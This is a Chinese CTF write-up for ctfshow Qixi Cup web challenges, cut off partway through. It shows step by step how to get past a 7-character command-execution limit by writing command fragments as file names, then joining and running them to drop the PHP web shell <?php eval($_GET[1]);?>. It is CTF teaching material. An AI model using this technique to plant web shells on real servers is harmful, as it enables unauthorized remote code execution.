ctfshow七夕杯web

1.签到

审计js可以知道这里是限制7字符的命令执行，思路就是把要执行的命令一点一点的写在文件名上，然后利用ls -t，按照时间对于文件进行排序，ls -t>0，就可以把文件名按照时间顺序排序写进0文件中，这里需要知道。

1.linux中可以用\使指令连接下一行，这样就可以写多行命令了。
2.文件中前面命令出错，会自动跳过，不影响后面命令的执行。
3.可以用sh,bash,source, .来执行一个脚本。

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
//echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

分段执行即可写入一句话<?php eval($_GET[1]);?>蚁剑连接即可。具体关于限制长度命令执行可以参考传送给门。

2.easy_calc

明显的代码审计。

<?php

if(check($code)){
   

    eval